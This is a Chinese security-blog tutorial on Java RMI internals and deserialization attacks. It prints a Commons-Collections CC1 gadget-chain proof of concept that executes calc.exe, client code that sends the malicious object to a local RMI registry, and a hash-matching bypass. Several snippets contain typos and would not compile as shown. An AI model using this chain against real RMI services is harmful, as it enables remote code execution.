freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

RMIserver端和Registry端源码分析
2022-12-09 21:07:37
所属地 四川省

想学JDNI,那想必一定躲不过RMI。

RMI简述

RMI可以远程调用JVM对象并获取结果。所以需要一个server和一个client进行通信。

Server端会创建一个远程对象用于client端远程访问。

下面改造一张来自W3Cschool的图:

1670590949_639331e5071ab35b5dc6d.png!small?1670590949697

只需要知道:Client端使用stub来请求远程方法,而Server端用Skeleton来接收stub,然后将返回值传输给Client。

  • RMI server的构造需要:

    1. 一个远程接口rmidemo,rmidemo需要继承java.rmi.Remote接口,其中的方法还需要有serializable接口

      public interface rmidemo extends Remote {
      private static final long serialVersionUID = 6490921832856589236L;
      public String hello() throws RemoteException{}
      }

      serialVersionUID是为了防止在序列化时导致版本冲突,所以序列化后UID不同会报异常

    1670590960_639331f0b0788c8779041.png!small?1670590961141

    1. 能被远程访问的类RmiObject(需要继承UnicastRemoteObject类),类必须实现rmidemo接口。

    public class RmiObject extends UnicastRemoteObject implements rmidemo {
    protected RmiObject() throws RemoteException {}
    public String hello() throws RemoteException{}
    }
    1. 注册远程对象(RMIRegistry):

public class server {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RmiObjct();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
}
}
  • RMI Client。LocateRegistry.getRegistry进行连接,用到lookup()搜索对应方法,然后调用需要的远程方法:

    public class clientdemo {
    public static void main(String[] args) throws RemoteException, NotBoundException {
    Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
    // 利用注册表的代理去查询远程注册表中名为hello的对象
    rmidemo hello = (rmidemo) registry.lookup("hello");
    // 调用远程方法
    System.out.println(hello.hello());
    }
    }

以上过程也可以用素十八大佬的一图概括:

1670590972_639331fca9ae900ac7ac7.png!small?1670590973376

RMI反序列化攻击

以CC1链利用AnnotationInvocationHandler进行攻击为例:

CC1的POC为:

package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = newChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("godown","buruheshen");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
}

当Server端存在远程接收Object对象时,可以发送序列化对象:

public interface rmidemo extends Remote {
void work(Object obj) throws RemoteException;
}

在Registry时,rebind会进行反序列化:

public class server {
public static void main(String[] args) throws RemoteException {
rmidemo user= new RmiObject();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}

所以把CC1构造的恶意对象,通过rmi协议连接到 接收对象的类,再向 接收对象的方法传恶意对象:

public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(CommonsCollections1());
}

1670591000_639332184e4337486eacb.png!small?1670591000871

RMI源码分析

如果不想深入RMI的可以跳过这部分,直接看攻击。

Server端UnicastRemoteObject

在刚开始,我们定义了一个类rmiObject,它必须继承UnicastRemoteObject,那这个类有什么用?简而言之就是创建远程对象并put进ObjectTable+监听本地。

该类readObject调用reexport:

1670591009_63933221d1a61d779f921.png!small?1670591010122reexport又调用exportObject:

1670591015_6393322736616dd8a7a0f.png!small?1670591015617

在reexport#exportObject中,如果没有UnicastServerRed参数会new UnicastServerRef(),并且exportObject该对象(这里的export是UnicastRemoteRef的方法)。

1670591021_6393322d4afebda112ef7.png!small?1670591021612

1670591026_63933232bd4d742bc34dd.png!small?1670591027063

  • UnicastServerRef的exportObject如下:

1670591031_63933237ccc9cf11ac1aa.png!small?1670591032169

  1. 用到了Util.creatProxy()进行动态代理:

1670591038_6393323e9acca1a147bd4.png!small?1670591039027

creatProxy使用RemoteObjectInvocationHandler,为rmidemo(远程接口)创建动态代理Proxy.newProxyInstance()

  1. 使用Target对象封装 远程方法 和生成的动态代理类。var6也就是stub

    UnicastServerRef#this.ref.exportObject调用transport.liveRef的exportObject


    跟进到liveRef#exportObject(),该exportObject指向了实现Endpoint接口的类,也就是TCPEndpoint()


    TCPEndpoint#exportObject指向TCPTransport#exportObject


    所以UnicastServerRef#this.ref.exportObject最终在TCPTransport#Object实现:负责监听本地端口

    1670591054_6393324e25c4b94bcb2ae.png!small?1670591054549

    super.exportObject()调用继承方法,TCPTransport的父类是Transport。

    Transport()#exportObject把Target放入ObjectTable,用于管理Target

    1670591061_63933255cbae30c387e63.png!small?1670591062163

在createProxy()中用到的RemoteObjectInvocationHandler动态代理,该类继承了RemoteObject并实现了InvocationHandler。所以该类可远程传输、可序列化。

Registry端createRegistry(1099)

LocateRegistry.createRegistry(1099)==new RegistryImpl(1099)

1670591067_6393325b70839e502e9e8.png!small?1670591067726

RegistryImpl调用了setup配置UnicastServerRef对象。

1670591071_6393325f02c3572086506.png!small?1670591071406

setup的exportObjec也是指向UnicastObjectRef类,exportObject依然是createProxy()创建动态代理。

1670591075_6393326320a1fdcc97530.png!small?1670591075398

不过由于最后一个参数为true,会调用UnicastServerRef#setSkeleton()

1670591078_63933266c5b6a27ac9417.png!small?1670591079237

setSkeleton()执行Util#createSkeleton()创建skeleton:

1670591085_6393326d11ccad5281bea.png!small?1670591085391

createSkeleton()用forName和newInstance反射var2对象,var1初始来自RegistryImpl,拼接_Skel后就是返回RegistryImpl_Skel。

1670591089_639332717384894e36927.png!small?1670591089992

RegistryImpl_Skel类的dispatch会根据不同的写入操作switch不同的操作方式,比如bind就是case0。

1670591093_639332759152b573f7e81.png!small?1670591093933

后面的代码和Server一样,不过exportObject的对象从UnicastServerRef变成了RegistryImpl

非Object参数RMI攻击

上面的RMI攻击环境是 Server端有接收Object参数的方法。那没有这种方法,服务端接收的是Object的子类,比如HelloObject作为参数,而我们构造的恶意类必须要是Object,该怎么办?

先来了解一下UnicastServerRef的dispatch方法。在客户端lookup远程调用方法时,Registry端执行RegistryImpl_Skel类的dispatch方法,然后将结果writeObject到序列化流:

1670591108_63933284ef76c1e66f048.png!small?1670591109384

Client端获取到Registry端的序列化流后,进行反序列化。对其调用。

当Client端向Registry端请求远程对象时,lookup的值为2,Registry端使用RegistryImpl_Skel#dispatchcase2。

Server端则是根据UnicastServerRef#dispatch来 来处理客户端请求,在hashToMethod_Map中寻找Method的hash,

1670591117_6393328d970c5866b274f.png!small?1670591117860

如果找到了就进行反射调用,

1670591121_6393329183e99f42f8ac4.png!small?1670591122084

这里的hash算法是SHA1。所以让method_hash相同的情况下就能进行反射调用。在debug时RemoteObjectInvocationHandler的invokeRemoteMethod处下断点,将Method改为服务器需要的Method,hash就会跟着改变,但是恶意类已经生成。所以能攻击。

参考:https://www.cnblogs.com/nice0e3/p/13958047.html

https://su18.org/post/rmi-attack/

# RMI漏洞 # JAVA安全 # RMI安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录